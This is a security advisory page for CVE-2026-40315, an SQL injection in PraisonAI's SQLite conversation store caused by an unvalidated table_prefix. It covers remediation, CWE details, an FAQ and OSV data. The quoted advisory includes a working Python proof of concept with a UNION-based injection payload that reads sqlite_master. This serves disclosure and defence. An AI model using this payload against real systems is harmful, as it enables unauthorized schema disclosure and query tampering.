CVE-2026-40315: PraisonAI SQLiteConversationStore Didn't Validate Table_prefix When Vulnerability

MODERATE
Advisory Identifier: GHSA-x783-xp3g-mqhp
CWE-89
Published
Advisory Summary

CVE-2026-40315 is a MODERATE sqliteconversationstore didn't validate table_prefix when vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves sqliteconversationstore didn't validate table_prefix when constructing sql queries. Remediation is available by upgrading affected packages to version 4.5.133.

CVE-2026-40315 at a Glance

CVE Identifier CVE-2026-40315
GHSA Identifier GHSA-x783-xp3g-mqhp
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-40315

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.5.133
pip install PraisonAI>=4.5.133
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-40315, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.133), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `table_prefix` configuration value is directly used to construct SQL table identifiers without validation. If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results. --- ### Details This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution. This occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings: ```python sessions_table = f"{table_prefix}sessions" ``` This value is then used in queries such as: ```sql SELECT * FROM {self.sessions_table} ``` Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure. The vulnerability originates from configuration input and propagates through the following flow: * **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py) (`from_yaml` / `from_dict`) accepts external configuration input * **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py) (`create_stores_from_config`) passes `conversation_options` without validation * **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py) Constructs SQL queries using f-strings with identifiers derived from `table_prefix` As a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics. ### PoC #### 1. Exploit Code The PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure. ```python #!/usr/bin/env python3 """ PoC: SQL identifier injection via SQLiteConversationStore.table_prefix This demonstrates query-structure manipulation when table_prefix is attacker-controlled. """ import os import tempfile from praisonai.persistence.conversation.sqlite import SQLiteConversationStore from praisonai.persistence.conversation.base import ConversationSession def run_poc() -> int: fd, db_path = tempfile.mkstemp(suffix=".db") os.close(fd) try: print(f"[+] temp db: {db_path}") # 1) Create normal schema and insert one legitimate session. normal = SQLiteConversationStore( path=db_path, table_prefix="praison_", auto_create_tables=True, ) normal.create_session( ConversationSession( session_id="legit-session", user_id="user1", agent_id="agent1", name="Legit Session", state={}, metadata={}, created_at=123.0, updated_at=123.0, ) ) normal_rows = normal.list_sessions(limit=10, offset=0) print(f"[+] normal.list_sessions() count: {len(normal_rows)}") print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}") # 2) Malicious prefix (UNION-based query structure manipulation) injected_prefix = ( "praison_sessions WHERE 1=0 " "UNION SELECT " "name as session_id, " "NULL as user_id, " "NULL as agent_id, " "NULL as name, " "NULL as state, " "NULL as metadata, " "0 as created_at, " "0 as updated_at " "FROM sqlite_master -- " ) injected = SQLiteConversationStore( path=db_path, table_prefix=injected_prefix, auto_create_tables=False, ) injected_rows = injected.list_sessions(limit=10, offset=0) injected_ids = [row.session_id for row in injected_rows] print(f"[+] injected.list_sessions() count: {len(injected_rows)}") print(f"[+] injected session_ids (first 10): {injected_ids[:10]}") suspicious = any( x in injected_ids for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages") ) if suspicious or len(injected_rows) > len(normal_rows): print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix") return 0 print("[!] PoC inconclusive: no clear injected rows observed") return 2 finally: try: os.remove(db_path) print("[+] temp db removed") except OSError: pass if __name__ == "__main__": raise SystemExit(run_poc()) ``` --- #### 2. Expected Output ![PoC Result](https://github.com/user-attachments/assets/aa46226e-c3cb-4772-b411-bfd26d328386) The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered. #### 3. Impact - SQL Identifier Injection - Query result manipulation - Internal schema disclosure Exploitable when untrusted input can influence configuration. --- #### Reference - https://github.com/advisories/GHSA-59g6-v3vg-f7wc

CVE-2026-40315 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.5.133
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.5.133
4.5.133

References

Frequently Asked Questions

What is CVE-2026-40315?
CVE-2026-40315 is a security vulnerability in PraisonAI involving SQLiteConversationStore didn't validate table_prefix when constructing SQL queries under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.5.133 across affected packages: PraisonAI.
What version fixes CVE-2026-40315?
Upgrading to 4.5.133 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.5.133. Upgrade your dependency to 4.5.133 or later.
What CWE is associated with CVE-2026-40315?
CVE-2026-40315 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check PyPI dependencies for CVE-2026-40315?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x783-xp3g-mqhp",
  "modified" : "2026-04-14T21:56:08Z",
  "published" : "2026-04-10T19:32:00Z",
  "aliases" : [ "CVE-2026-40315" ],
  "summary" : "PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries",
  "details" : "### Summary\n\nThe `table_prefix` configuration value is directly used to construct SQL table identifiers without validation.\n\nIf an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results.\n\n---\n\n### Details\nThis allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.\n\nThis occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings:\n\n```python\nsessions_table = f\"{table_prefix}sessions\"\n```\n\nThis value is then used in queries such as:\n\n```sql\nSELECT * FROM {self.sessions_table}\n```\n\nSince SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.\n\n\n\nThe vulnerability originates from configuration input and propagates through the following flow:\n\n* **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py)\n  (`from_yaml` / `from_dict`) accepts external configuration input\n\n* **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py)\n  (`create_stores_from_config`) passes `conversation_options` without validation\n\n* **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py)\n  Constructs SQL queries using f-strings with identifiers derived from `table_prefix`\n\nAs a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.\n\n### PoC\n\n#### 1. Exploit Code\nThe PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: SQL identifier injection via SQLiteConversationStore.table_prefix\n\nThis demonstrates query-structure manipulation when table_prefix is attacker-controlled.\n\"\"\"\n\nimport os\nimport tempfile\n\nfrom praisonai.persistence.conversation.sqlite import SQLiteConversationStore\nfrom praisonai.persistence.conversation.base import ConversationSession\n\n\ndef run_poc() -> int:\n    fd, db_path = tempfile.mkstemp(suffix=\".db\")\n    os.close(fd)\n\n    try:\n        print(f\"[+] temp db: {db_path}\")\n\n        # 1) Create normal schema and insert one legitimate session.\n        normal = SQLiteConversationStore(\n            path=db_path,\n            table_prefix=\"praison_\",\n            auto_create_tables=True,\n        )\n        normal.create_session(\n            ConversationSession(\n                session_id=\"legit-session\",\n                user_id=\"user1\",\n                agent_id=\"agent1\",\n                name=\"Legit Session\",\n                state={},\n                metadata={},\n                created_at=123.0,\n                updated_at=123.0,\n            )\n        )\n\n        normal_rows = normal.list_sessions(limit=10, offset=0)\n        print(f\"[+] normal.list_sessions() count: {len(normal_rows)}\")\n        print(f\"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}\")\n\n        # 2) Malicious prefix (UNION-based query structure manipulation)\n        injected_prefix = (\n            \"praison_sessions WHERE 1=0 \"\n            \"UNION SELECT \"\n            \"name as session_id, \"\n            \"NULL as user_id, \"\n            \"NULL as agent_id, \"\n            \"NULL as name, \"\n            \"NULL as state, \"\n            \"NULL as metadata, \"\n            \"0 as created_at, \"\n            \"0 as updated_at \"\n            \"FROM sqlite_master -- \"\n        )\n\n        injected = SQLiteConversationStore(\n            path=db_path,\n            table_prefix=injected_prefix,\n            auto_create_tables=False,\n        )\n\n        injected_rows = injected.list_sessions(limit=10, offset=0)\n        injected_ids = [row.session_id for row in injected_rows]\n\n        print(f\"[+] injected.list_sessions() count: {len(injected_rows)}\")\n        print(f\"[+] injected session_ids (first 10): {injected_ids[:10]}\")\n\n        suspicious = any(\n            x in injected_ids\n            for x in (\"sqlite_schema\", \"sqlite_master\", \"praison_sessions\", \"praison_messages\")\n        )\n\n        if suspicious or len(injected_rows) > len(normal_rows):\n            print(\"[!] PoC succeeded: list_sessions query semantics altered by table_prefix\")\n            return 0\n\n        print(\"[!] PoC inconclusive: no clear injected rows observed\")\n        return 2\n\n    finally:\n        try:\n            os.remove(db_path)\n            print(\"[+] temp db removed\")\n        except OSError:\n            pass\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(run_poc())\n```\n\n---\n\n#### 2. Expected Output\n\n![PoC Result](https://github.com/user-attachments/assets/aa46226e-c3cb-4772-b411-bfd26d328386)\nThe output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.\n\n#### 3. Impact\n\n- SQL Identifier Injection\n- Query result manipulation\n- Internal schema disclosure\n\nExploitable when untrusted input can influence configuration.\n\n---\n#### Reference\n\n- https://github.com/advisories/GHSA-59g6-v3vg-f7wc",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.133"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/0accebb2e3c3ec2fca66bbea0444fb7a35f0b4ef"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.133"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:32:00Z",
    "nvd_published_at" : "2026-04-14T04:17:16Z"
  }
}